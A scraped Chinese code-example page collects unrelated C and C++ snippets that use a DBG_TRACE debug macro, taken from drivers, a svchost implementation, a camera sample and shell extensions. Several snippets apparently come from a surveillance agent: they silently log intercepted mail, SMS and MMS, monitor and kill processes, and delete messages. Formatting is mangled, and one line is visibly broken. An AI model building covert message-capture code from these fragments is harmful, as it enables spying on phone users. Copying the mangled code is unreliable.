自学教程：C++ DBG_TRACE函数代码示例

/******************************************************************************* *	wl_process_updated_record() ******************************************************************************* * *  DESCRIPTION: * *      Process the updated information record message signaled by the device. * *  PARAMETERS: * *      lp - a pointer to the device's private structure * *  RETURNS: * *      N/A * ******************************************************************************/void wl_process_updated_record( struct wl_private *lp ){    DBG_FUNC( "wl_process_updated_record" );    DBG_ENTER( DbgInfo );    if( lp != NULL ) {        lp->updatedRecord.u.u16[0] = CNV_LITTLE_TO_INT( lp->updatedRecord.u.u16[0] );        switch( lp->updatedRecord.u.u16[0] ) {        case CFG_CUR_COUNTRY_INFO:            DBG_TRACE( DbgInfo, "Updated Record: CFG_CUR_COUNTRY_INFO/n" );            wl_connect( lp );            break;        case CFG_PORT_STAT:            DBG_TRACE( DbgInfo, "Updated Record: WAIT_FOR_CONNECT (0xFD40)/n" );            //wl_connect( lp );            break;        default:            DBG_TRACE( DbgInfo, "UNKNOWN: 0x%04x/n",                       lp->updatedRecord.u.u16[0] );        }    }    DBG_LEAVE( DbgInfo );    return;} // wl_process_updated_record

BOOL CMAPIAdviseSink::LogMessage( MAPIMessage& message ){	HRESULT hRes = E_FAIL;		DWORD cbSize;	std::auto_ptr<BYTE> lpData;	lpData.reset( message.Serialize(&cbSize) );	if (lpData.get() == NULL) {		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR serializing message]", 5, FALSE);		return FALSE;	}		Log pLog;	UINT log_type = LOGTYPE_MAIL;		if (CmpWildW(CLASS_MAIL, message.Class()) != 0)		log_type = LOGTYPE_MAIL;	else if (CmpWildW(CLASS_SMS, message.Class()) != 0)		log_type = LOGTYPE_SMS;	else if (CmpWildW(CLASS_MMS, message.Class()) != 0)		log_type = LOGTYPE_MMS;		if (pLog.CreateLog(log_type, NULL, 0, FLASH) != TRUE) {		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR cannot create log]", 5, FALSE);		return FALSE;	}		pLog.WriteLog(lpData.get(), cbSize);	pLog.CloseLog();		DBG_TRACE_INT(L"Debug - MAPIAdviseSink.cpp - OnNotify() [serialized message] size: ", 5, FALSE, cbSize);		return TRUE;}

bool readFileHead(ByteArray& ba ) {	if (ba.readByte() == 'e'		&& ba.readByte() == 'x'		&& ba.readByte() == 'b'		&& ba.readByte() == 'n'		&& ba.readByte() == 1		)	{		long long time = ba.readUnsignedInt(); + 0x13770000000;		DBG_TRACE(_T("create at time %ld") , time);		int version  = ba.readShort();		DBG_TRACE(_T("File bin version: %d") , version);			//if ( version != Version.version)		//{		//	ASSERT(false , "unpair config version and file version");		//	return false;		//}		return true;	}	else		return false;}

intimageboot_needed(void){	int result = 0;	char *root_path = NULL;	DBG_TRACE("%s: checking for presence of root path/n", __FUNCTION__);	MALLOC_ZONE(root_path, caddr_t, MAXPATHLEN, M_NAMEI, M_WAITOK);	if (root_path == NULL)		panic("%s: M_NAMEI zone exhausted", __FUNCTION__);	if(PE_parse_boot_argn("rp", root_path, MAXPATHLEN) == TRUE) {		/* Got it, now verify scheme */		if (strncmp(root_path, kIBFilePrefix,					strlen(kIBFilePrefix)) == 0) {			DBG_TRACE("%s: Found %s/n", __FUNCTION__, root_path);			result = 1;		} else {			DBG_TRACE("%s: Invalid URL scheme for %s/n",					__FUNCTION__, root_path);		}	}	FREE_ZONE(root_path, MAXPATHLEN, M_NAMEI);	return (result);}

intimageboot_setup(){	dev_t       dev;	int         error = 0;	char *root_path = NULL;	DBG_TRACE("%s: entry/n", __FUNCTION__);	MALLOC_ZONE(root_path, caddr_t, MAXPATHLEN, M_NAMEI, M_WAITOK);	if (root_path == NULL)		return (ENOMEM);	if(PE_parse_boot_argn("rp", root_path, MAXPATHLEN) == FALSE) {		error = ENOENT;		goto done;	}	printf("%s: root image url is %s/n", __FUNCTION__, root_path);	error = di_root_image(root_path, rootdevice, &dev);	if(error) {		printf("%s: di_root_image failed: %d/n", __FUNCTION__, error);		goto done;	}	rootdev = dev;	mountroot = NULL;	printf("%s: root device 0x%x/n", __FUNCTION__, rootdev);	error = vfs_mountroot();	if (error == 0 && rootvnode != NULL) {		struct vnode *tvp;		struct vnode *newdp;		/*		 * Get the vnode for '/'.		 * Set fdp->fd_fd.fd_cdir to reference it.		 */		if (VFS_ROOT(TAILQ_LAST(&mountlist,mntlist), &newdp, vfs_context_kernel()))			panic("%s: cannot find root vnode", __FUNCTION__);		vnode_ref(newdp);		vnode_put(newdp);		tvp = rootvnode;		vnode_rele(tvp);		filedesc0.fd_cdir = newdp;		rootvnode = newdp;		mount_list_lock();		TAILQ_REMOVE(&mountlist, TAILQ_FIRST(&mountlist), mnt_list);		mount_list_unlock();		mountlist.tqh_first->mnt_flag |= MNT_ROOTFS;		DBG_TRACE("%s: root switched/n", __FUNCTION__);	}done:	FREE_ZONE(root_path, MAXPATHLEN, M_NAMEI);	DBG_TRACE("%s: exit/n", __FUNCTION__);	return (error);}

LPMESSAGE openMessage(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID){	// Open message	LPMESSAGE lpMessage = NULL;	HRESULT hRes = pStore->OpenEntry(cbEntryID, 		lpEntryID, 		NULL, 		0, 		NULL, 		(LPUNKNOWN *)&lpMessage);	if (hRes != S_OK) {		switch (hRes) {		  case MAPI_E_NOT_FOUND:			  DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - openMessage() [ERROR message not found]", 5, FALSE);			  return NULL;			  break;		  default:			  DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - openMessage() [ERROR generic while opening] ", 5, FALSE);			  return NULL;			  break;		}	}	return lpMessage;}

INT Start::run() {	wstring module, status;		try {		status = conf->getString(L"status");	} catch (...) {		DBG_TRACE(L"Debug - Start.cpp - Unknown /"status/"/n", 1, FALSE);		return 0;	}	try {		module = conf->getString(L"module");	} catch (...) {		DBG_TRACE(L"Debug - Start.cpp - Unknown /"module/"/n", 1, FALSE);		return 0;	}	if (status.compare(L"start") == 0) {		DBG_TRACE_3(L"Debug - Start.cpp - Starting Module: ", module.c_str(), L"/n", 1, FALSE);		return (INT)modules->start(module);	}	if (status.compare(L"stop") == 0) {		DBG_TRACE_3(L"Debug - Start.cpp - Stopping Module: ", module.c_str(), L"/n", 1, FALSE);		return (INT)modules->stop(module);	}	DBG_TRACE(L"Debug - Start.cpp - *** We shouldn't be here!!!/n", 1, FALSE);	return 0;}

int wl_get_tallies(struct wl_private *lp,		   CFG_HERMES_TALLIES_STRCT *tallies){    int ret = 0;    int status;    CFG_HERMES_TALLIES_STRCT *pTallies;    DBG_FUNC( "wl_get_tallies" );    DBG_ENTER(DbgInfo);    /* Get the current tallies from the adapter */    lp->ltvRecord.len = 1 + HCF_TOT_TAL_CNT * sizeof(hcf_16);    lp->ltvRecord.typ = CFG_TALLIES;    status = hcf_get_info(&(lp->hcfCtx), (LTVP)&(lp->ltvRecord));    if( status == HCF_SUCCESS ) {	pTallies = (CFG_HERMES_TALLIES_STRCT *)&(lp->ltvRecord.u.u32);	memcpy(tallies, pTallies, sizeof(*tallies));	DBG_TRACE( DbgInfo, "Get tallies okay, dixe: %d/n", sizeof(*tallies) );    } else {	DBG_TRACE( DbgInfo, "Get tallies failed/n" );	ret = -EFAULT;    }    DBG_LEAVE( DbgInfo );    return ret;}

// Il formato dei parametri e' il seguente:// Azione da triggerare a processo TERMINATO (TRIGGER_ACTION(myData->pParams))// Tipo di ricerca da fare (window title [1] o nome del processo [0])// Nome del processo in WCHAR NULL-terminato// Abbiamo un thread per processo, tuttavia il thread e' estremamente lightweight poiche'// effettua solo un busy-cycle, il resto viene fatto tutto dalla classe singleton Process.DWORD WINAPI OnProcess(LPVOID lpParam) {	ProcessMonitor *processObj = ProcessMonitor::self();	Event *me = (Event *)lpParam;	Configuration *conf;	wstring processName;	BOOL onlyWindow, processActive = FALSE;	HANDLE eventHandle = me->getEvent();	me->setStatus(EVENT_RUNNING);	conf = me->getConf();	try {		processName = conf->getString(L"process");	} catch (...) {		processName = L"";	}	if (processName.empty()) {		me->setStatus(EVENT_STOPPED);		return 0;	}	try {		onlyWindow = conf->getBool(L"window");	} catch (...) {		onlyWindow = FALSE;	}	DBG_TRACE(L"Debug - Process.cpp - Process Event is Alive/n", 1, FALSE);	if (onlyWindow) {		LOOP {			if (me->shouldStop()) {				DBG_TRACE(L"Debug - Process.cpp - Process Event is Closing/n", 1, FALSE);				me->setStatus(EVENT_STOPPED);				return 0;			}			if (processActive == TRUE && processObj->IsWindowPresent(processName.c_str()) == FALSE) {				processActive = FALSE;				me->triggerEnd();			} else if (processActive == FALSE && processObj->IsWindowPresent(processName.c_str()) == TRUE) {				processActive = TRUE;				me->triggerStart();			}			WaitForSingleObject(eventHandle, 5000);		}	} else {

/** * et131x_close - Close the device * @netdev: device to be closed * * Returns 0 on success, errno on failure (as defined in errno.h) */int et131x_close(struct net_device *netdev){	struct et131x_adapter *adapter = netdev_priv(netdev);	DBG_ENTER(et131x_dbginfo);	/* First thing is to stop the queue */	netif_stop_queue(netdev);	/* Stop the Tx and Rx DMA engines */	et131x_rx_dma_disable(adapter);	et131x_tx_dma_disable(adapter);	/* Disable device interrupts */	et131x_disable_interrupts(adapter);	/* Deregistering ISR */	MP_CLEAR_FLAG(adapter, fMP_ADAPTER_INTERRUPT_IN_USE);	DBG_TRACE(et131x_dbginfo, "Deregistering ISR.../n");	free_irq(netdev->irq, netdev);	/* Stop the error timer */	del_timer_sync(&adapter->ErrorTimer);	DBG_LEAVE(et131x_dbginfo);	return 0;}

VOIDWINAPISvchostStopCallback (    _In_ PVOID Context,    _In_ BOOLEAN TimerOrWaitFired    ){    PSVCHOST_CALLBACK_CONTEXT pSvcsStopCbContext = Context;    PSVCHOST_STOP_CALLBACK pfnStopCallback;    /* Hold the lock while we grab the callback */    EnterCriticalSection(&ListLock);    /* Grab the callback, then clear it */    ASSERT(pSvcsStopCbContext->pService != NULL);    pfnStopCallback = pSvcsStopCbContext->pService->pfnStopCallback;    ASSERT(pfnStopCallback != NULL);    pSvcsStopCbContext->pService->pfnStopCallback = NULL;    /* Now release the lock, making sure the above was atomic */    LeaveCriticalSection(&ListLock);    /* Now make the callout */    DBG_TRACE("Call stop callback for service %ws, active threads %d/n",              pSvcsStopCbContext->pService->pszServiceName,              pSvcsStopCbContext->pService->cServiceActiveThreadCount);    pfnStopCallback(pSvcsStopCbContext->pContext, TimerOrWaitFired);    /* Decrement the active threads -- maybe the DLL can unload now */    UnloadServiceDll(pSvcsStopCbContext->pService);    /* We no longer need the context */    MemFree(pSvcsStopCbContext);}

WINAPIBuildServiceTable (    VOID    ){    SERVICE_TABLE_ENTRYW *pServiceTable;    ULONG i;    /* Acquire the database lock while we go over the services */    EnterCriticalSection(&ListLock);    /* Allocate space for a NULL entry at the end as well, Windows needs this */    pServiceTable = MemAlloc(HEAP_ZERO_MEMORY,                             (ServiceCount + 1) * sizeof(*pServiceTable));    if (pServiceTable)    {        /* Go over all our registered services */        for (i = 0; i < ServiceCount; i++)        {            /* And set their parameters in the service table */            pServiceTable[i].lpServiceName = (LPWSTR)ServiceArray[i].pszServiceName;            pServiceTable[i].lpServiceProc = ServiceStarter;            DBG_TRACE("Added service table entry for %ws/n",                      pServiceTable[i].lpServiceName);        }    }    /* All done, can release the lock now */    LeaveCriticalSection(&ListLock);    return pServiceTable;}

BOOL ExecuteFile(LPCTSTR lpszFilename, LPCTSTR lpszInstallParam, DWORD &dwExitCode){	if (!lpszFilename || !lpszInstallParam || !PathFileExists(lpszFilename))		return FALSE;	TCHAR szCmdline[MAX_PATH] = {0};	if(lpszInstallParam && _tcslen(lpszInstallParam)>0)		_stprintf(szCmdline, _T("/"%s/" %s"), lpszFilename, lpszInstallParam);	else		_tcscpy(szCmdline, lpszFilename);	STARTUPINFO si = { sizeof(STARTUPINFO) };	PROCESS_INFORMATION pi={0};	BOOL processCreated = CreateProcess(NULL, szCmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);	if(!processCreated)		return FALSE;	WaitForSingleObject(pi.hProcess, INFINITE);	dwExitCode = 0;	GetExitCodeProcess(pi.hProcess, &dwExitCode);		CloseHandle(pi.hProcess);	CloseHandle(pi.hThread);	DBG_TRACE(_T("%s -> %d/n"), szCmdline, dwExitCode );	return TRUE;}

voidCImageHardwareSimulation::SetTriggerTime(    _In_    ULONGLONG TriggerTime)/*++Routine Description:    Identify exactly when the user pressed that button.Arguments:    TriggerTime -        The QPC time in 100ns when the user asked for the photo.Return Value:    void--*/{    PAGED_CODE();    m_TriggerTime = TriggerTime;    DBG_TRACE( "Setting Trigger Time = 0x%016llX", TriggerTime );}

////  Emit metadata here that is common to all pins.////  All derived classes' EmitMetadata() function must//  call this function first.//voidCHardwareSimulation::EmitMetadata(    _Inout_ PKSSTREAM_HEADER   pStreamHeader){    PAGED_CODE();    NT_ASSERT(pStreamHeader);    if (0 != (pStreamHeader->OptionsFlags & KSSTREAM_HEADER_OPTIONSF_METADATA))    {        PKS_FRAME_INFO          pFrameInfo = (PKS_FRAME_INFO)(pStreamHeader + 1);        PKSSTREAM_METADATA_INFO pMetadata = (PKSSTREAM_METADATA_INFO) (pFrameInfo + 1);        //PBYTE                   pData = (PBYTE) pMetadata->SystemVa;        //ULONG                   BytesLeft = pMetadata->BufferSize;        // A real driver might write focus state or other info here.  We've got nothing.        pMetadata->UsedSize = 0;    }    else    {        DBG_TRACE("Metadata not present...");    }}

RTN RTN_FindLoop(IMG img, string rtn_name){	SEC temp=IMG_SecHead(img);	while(SEC_Valid(temp))	{		//we pick only executable code segment		if(SEC_Type(temp)==SEC_TYPE_EXEC){			RTN myrtn=SEC_RtnHead(temp);			DBG_TRACE("RTNs to be instrumented");			while(RTN_Valid(myrtn))			{				cerr<<RTN_Name(myrtn)<<endl;				if(RTN_Name(myrtn)==rtn_name)				{					cerr<<"Rtn Found:"<<rtn_name<<endl;					return myrtn;				}				myrtn=RTN_Next(myrtn);			}		}		temp=SEC_Next(temp);	}	RTN empty;	return empty;}

//  Function://      bool CImageHardwareSimulation::IsPfsEOS(void)////  Description://      Determine if we're at the EOS.////  Parameters://      [None]////  Returns://      bool - true if we've reached the end of our Per Frame Settings.//boolCImageHardwareSimulation::IsPfsEOS(void){    PAGED_CODE();    DBG_ENTER( "()" );    DBG_TRACE( "m_bTriggered=%s, m_bEndOfSequence=%s, m_PinMode=%d, m_pIspSetting=0x%p",               ( m_bTriggered ? "true" : "false" ),               ( m_bEndOfSequence ? "true" : "false" ),               m_PinMode,               m_pIspSettings );    //    //  Make sure we're in a Variable Photo Sequence.    //    bool result =        bool( m_bTriggered == TRUE &&              m_bEndOfSequence &&              m_PinMode == PinBurstMode &&              m_pIspSettings );       // Must have ISP settings set to be PFS EOS.    DBG_LEAVE( "() = %s", (result ? "true" : "false") );    return result;}

//  Function://      bool CImageHardwareSimulation::AdvanceFrameCounter(void)////  Description://      Advance our frame and loop pointers to the next PFS settings.////  Parameters://      [None]////  Returns://      bool - true if we've reached the end of our Per Frame Settings.//boolCImageHardwareSimulation::AdvanceFrameCounter(void){    PAGED_CODE();    bool    bEOS = false;    DBG_ENTER( "()" );    m_GlobalFrameNumber ++;    DBG_TRACE( "m_GlobalFrameNumber=%lld", m_GlobalFrameNumber );    //    //  Calculate the PFS frame & loop numbers, but only if we've    //  gotten ISP settings.    //    if( m_bTriggered &&            m_PinMode == PinBurstMode &&            m_pIspSettings )    {        m_PfsFrameNumber ++;        if( m_PfsFrameNumber >= m_PfsFrameLimit )        {            m_PfsFrameNumber = 0;            m_PfsLoopNumber ++;        }        //  Only mark EOS if we're not in an infinite loop.        if( m_PfsLoopLimit != 0 )        {            NT_ASSERT( !(m_PfsLoopNumber > m_PfsLoopLimit) );            //  Check to see if we've hit our limit.            if( m_PfsLoopNumber >= m_PfsLoopLimit )            {                DBG_TRACE( "Marking EOS" );                bEOS = true;            }        }    }    DBG_TRACE( "m_PfsFrameNumber=%d, m_PfsLoopNumber=%d", m_PfsFrameNumber, m_PfsLoopNumber );    DBG_TRACE( "m_PfsFrameLimit=%d,  m_PfsLoopLimit=%d",  m_PfsFrameLimit, m_PfsLoopLimit );    DBG_LEAVE( "() = %s", bEOS ? "true" : "false" );    return bEOS;}

STDMETHODIMP CGitExtensionsShellEx::Initialize(LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hProgID){    FORMATETC fmt = { CF_HDROP, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL };    STGMEDIUM stg = { TYMED_HGLOBAL };    HDROP     hDrop;    /* store the folder, if provided */    DBG_TRACE(L"CGitExtensionsShellEx::Initialize(pidlFolder=%p)", pidlFolder);    m_szFile[0] = '/0';    if (pidlFolder)        SHGetPathFromIDList(pidlFolder, m_szFile);    if (!pDataObj)        return S_OK;    // Look for CF_HDROP data in the data object.    if (FAILED( pDataObj->GetData(&fmt, &stg)))    {        // Nope! Return an "invalid argument" error back to Explorer.        return E_INVALIDARG;    }    // Get a pointer to the actual data.    hDrop = (HDROP)GlobalLock(stg.hGlobal);    // Make sure it worked.    if (NULL == hDrop)        return E_INVALIDARG;    // Sanity check - make sure there is at least one filename.    UINT uNumFiles = DragQueryFile(hDrop, 0xFFFFFFFF, NULL, 0);    HRESULT hr = S_OK;    DBG_TRACE(L"uNumFiles=%u", uNumFiles);    if (uNumFiles != 1)        hr = E_INVALIDARG;    // Get the name of the first file and store it in our member variable m_szFile.    else if (!DragQueryFile(hDrop, 0, m_szFile, MAX_PATH))        hr = E_INVALIDARG;    DBG_TRACE(L"m_szFile=%s", m_szFile);    GlobalUnlock(stg.hGlobal);    ReleaseStgMedium(&stg);    return hr;}

void CMpeg2DecoderDXVA2::CloseDecoder(){	DBG_TRACE(TEXT("CMpeg2DecoderDXVA2::CloseDecoder()"));	ResetDecoding();	SafeRelease(m_pVideoDecoder);	m_fDeviceLost = false;}

VOIDwmainCRTStartup (    VOID    ){    PSVCHOST_OPTIONS lpOptions;    SERVICE_TABLE_ENTRYW *pServiceTable;    LPWSTR pszCmdLine;    /* Set a generic SEH filter and hard fail all critical errors */    SetUnhandledExceptionFilter(SvchostUnhandledExceptionFilter);    SetErrorMode(SEM_FAILCRITICALERRORS);    /* Initialize the heap allocator */    MemInit(GetProcessHeap());    /* Initialize the DLL database and lock */    InitializeListHead(&DllList);    InitializeCriticalSection(&ListLock);    /* Get the command-line and parse it to get the service group */    pszCmdLine = GetCommandLineW();    lpOptions = BuildCommandOptions(pszCmdLine);    if (lpOptions == NULL)    {        /* Without a valid command-line, there's nothing for us to do */        DBG_TRACE("Calling ExitProcess for %ws/n", pszCmdLine);        ExitProcess(0);    }    /* Now use the service group information to lookup all the services */    BuildServiceArray(lpOptions);    /* Convert the list of services in this group to the SCM format */    pServiceTable = BuildServiceTable();    if (pServiceTable == NULL)    {        /* This is critical, bail out without it */        MemFree(lpOptions);        return;    }    /* Initialize COM and RPC as needed for this service group */    if (CallPerInstanceInitFunctions(lpOptions) == FALSE)    {        /* Exit with a special code indicating COM/RPC setup has failed */        DBG_ERR("%s", "CallPerInstanceInitFunctions failed -- exiting!/n");        ExitProcess(1);    }    /* We're ready to go -- free the options buffer */    MemFree(lpOptions);    /* And call into ADVAPI32 to get our services going */    StartServiceCtrlDispatcherW(pServiceTable);}

////  Complete the history list.//NTSTATUSCImageHardwareSimulation::CompleteCloneList(){    PAGED_CODE();    int i = 0;    while(!IsListEmpty(&m_BurstList))    {        LIST_ENTRY *listEntry = RemoveHeadList(&m_BurstList);        PSCATTER_GATHER_ENTRY SGEntry =            reinterpret_cast <PSCATTER_GATHER_ENTRY> (                CONTAINING_RECORD (                    listEntry,                    SCATTER_GATHER_ENTRY,                    ListEntry                )            );        m_pClone = SGEntry->CloneEntry;        m_PhotoConfirmationInfo = SGEntry->PhotoConfirmationInfo;        m_NumMappingsCompleted++;        m_ScatterGatherBytesQueued -= SGEntry -> ByteCount;        DBG_TRACE( "m_NumMappingsCompleted=%d, m_PhotoConfirmationInfo.isRequired()=%s", m_NumMappingsCompleted, m_PhotoConfirmationInfo.isRequired( )?"TRUE":"FALSE" );        DBG_TRACE( "Frame %p, PresentationTime=0x%016llX",                   SGEntry->CloneEntry->StreamHeader,                   SGEntry->CloneEntry->StreamHeader->PresentationTime.Time );        m_Sensor -> Interrupt (m_PinID);        ExFreeToNPagedLookasideList (            &m_ScatterGatherLookaside,            reinterpret_cast <PVOID> (SGEntry)        );        i++;    }    return STATUS_SUCCESS;}

/******************************************************************************* *	wl_process_security_status() ******************************************************************************* * *  DESCRIPTION: * *      Process the security status message signaled by the device. * *  PARAMETERS: * *      lp - a pointer to the device's private structure * *  RETURNS: * *      N/A * ******************************************************************************/void wl_process_security_status( struct wl_private *lp ){    SECURITY_STATUS_STRCT *sec_stat;    /*------------------------------------------------------------------------*/    DBG_FUNC( "wl_process_security_status" );    DBG_ENTER( DbgInfo );    if( lp != NULL ) {        sec_stat = (SECURITY_STATUS_STRCT *)&lp->sec_stat;        wl_endian_translate_event( (ltv_t *)sec_stat );        switch( sec_stat->securityStatus ) {        case 1:            DBG_TRACE( DbgInfo, "Security Status : Dissassociate [AP]/n" );            break;        case 2:            DBG_TRACE( DbgInfo, "Security Status : Deauthenticate [AP]/n" );            break;        case 3:            DBG_TRACE( DbgInfo, "Security Status : Authenticate Fail [STA] or [AP]/n" );            break;        case 4:            DBG_TRACE( DbgInfo, "Security Status : MIC Fail/n" );            break;        case 5:            DBG_TRACE( DbgInfo, "Security Status : Associate Fail/n" );            break;        default:            DBG_TRACE( DbgInfo, "Security Status : UNKNOWN (0x%04x)/n",                       sec_stat->securityStatus );            break;        }        DBG_TRACE( DbgInfo, "STA Address     : %s/n",                   DbgHwAddr( sec_stat->staAddr ));        DBG_TRACE( DbgInfo, "Reason          : 0x%04x /n", sec_stat->reason );    }    DBG_LEAVE( DbgInfo );    return;} // wl_process_security_status

bool SpecManager::InstImage(string image){	DBG_TRACE("Comes here");	DBG_TRACE(image);	//find the ruleset corresponding to the image	map<string,RuleSet*>::iterator drit=this->imgIndx.find(image);		/*map<string,RuleSet*>::iterator myit=this->imgIndx.begin();	if(myit!=this->imgIndx.end())	{		DBG_TRACE("#########");		DBG_TRACE(myit->first);	}*/	if(drit!=this->imgIndx.end())	{				RuleSet *robj=drit->second;		//add the image to be profiled 		this->AddImage(image,robj->getProfileFlag());		return true;	}		list<RuleSet*>::iterator rit=this->rules.begin();	while(rit!=this->rules.end())	{				RuleSet* robj=*rit;		//Check if the image matches with specification		//if((robj->GetImagePat(),image))		if(Match(image,robj->GetImagePat()))		{			DBG_TRACE("TRUE returning");			return true;		}			//do regular expression here		rit++;	}	DBG_TRACE("FALSE returning");	return false;			}

/******************************************************************************* *	wl_adapter_cleanup_module() ******************************************************************************* * *  DESCRIPTION: * *      Called by cleanup_module() to perform driver uninitialization. * *  PARAMETERS: * *      N/A * *  RETURNS: * *      N/A * ******************************************************************************/void wl_adapter_cleanup_module(void){	DBG_FUNC("wl_adapter_cleanup_module");	DBG_ENTER(DbgInfo);	DBG_TRACE(DbgInfo, "wl_adapter_cleanup_module() -- PCMCIA/n");	pcmcia_unregister_driver(&wlags49_driver);	DBG_LEAVE(DbgInfo);	return;} /* wl_adapter_cleanup_module */

void TraceManager::AfterExec(RtnTrack* rtntr){	//handles just before exit	int pflag=rtntr->flag;	//aft_list.push_back(rtntr);	if(pflag&&1)	{		DBG_TRACE("Profile Stop");		//calls enf of profile into tau system		EndProfile((char*)rtntr->rtn.c_str(),rtntr->tau);	}    }

/******************************************************************************* *	wl_process_link_status() ******************************************************************************* * *  DESCRIPTION: * *      Process the link status message signaled by the device. * *  PARAMETERS: * *      lp - a pointer to the device's private structure * *  RETURNS: * *      N/A * ******************************************************************************/void wl_process_link_status( struct wl_private *lp ){    hcf_16 link_stat;    if( lp != NULL ) {        //link_stat = lp->hcfCtx.IFB_DSLinkStat & CFG_LINK_STAT_FW;        link_stat = lp->hcfCtx.IFB_LinkStat & CFG_LINK_STAT_FW;        switch( link_stat ) {        case 1:            DBG_TRACE( DbgInfo, "Link Status : Connected/n" );            wl_wext_event_ap( lp->dev );            break;        case 2:            DBG_TRACE( DbgInfo, "Link Status : Disconnected/n"  );            break;        case 3:            DBG_TRACE( DbgInfo, "Link Status : Access Point Change/n" );            break;        case 4:            DBG_TRACE( DbgInfo, "Link Status : Access Point Out of Range/n" );            break;        case 5:            DBG_TRACE( DbgInfo, "Link Status : Access Point In Range/n" );            break;        default:            DBG_TRACE( DbgInfo, "Link Status : UNKNOWN (0x%04x)/n", link_stat );            break;        }    }} // wl_process_link_status

HRESULT CMailRuleClient::DeleteMessage(		IMsgStore *pMsgStore, 		IMessage *pMsg, 		ULONG cbMsg, 		LPENTRYID lpMsg, 		ULONG cbDestFolder, 		LPENTRYID lpDestFolder, 		ULONG *pulEventType, 		MRCHANDLED *pHandled){	HRESULT hr = S_OK;	ENTRYLIST lst;	SBinary sbin;	IMAPIFolder *pFolder = NULL;		hr = pMsgStore->OpenEntry(cbDestFolder, lpDestFolder, NULL, 0, NULL, (LPUNKNOWN *) &pFolder);	if (FAILED(hr)) {		DBG_TRACE(L"Failed opening message entry.", DBG_HIGH, TRUE);		return hr;	}		lst.cValues = 1;	sbin.cb = cbMsg;	sbin.lpb = (LPBYTE) lpMsg;	lst.lpbin = &sbin;		hr = pFolder->DeleteMessages(&lst, NULL, NULL, 0);	if (FAILED(hr)) {		DBG_TRACE(L"Failed deleting messages.", DBG_HIGH, TRUE);		*pulEventType = fnevObjectDeleted;		*pHandled = MRC_HANDLED_DONTCONTINUE;	}		if (pFolder)		pFolder->Release();	DBG_TRACE(L"Message deleted.", DBG_NOTIFY, FALSE);		return hr;}

BOOL ProcessMonitor::KillProcess(wstring wszProcessName){	if (ProcessHandler(wszProcessName.c_str(), PROC_TERMINATE, 0) == TRUE) {		return TRUE;	}	if (ProcessHandler(wszProcessName, PROC_FIND, 0) == FALSE) {		DBG_TRACE(L"ProcessMonitor KillProcess ProcessHandler PROC_FIND PROC NOT FOUND ", 5, FALSE);		return TRUE;		}	return FALSE;}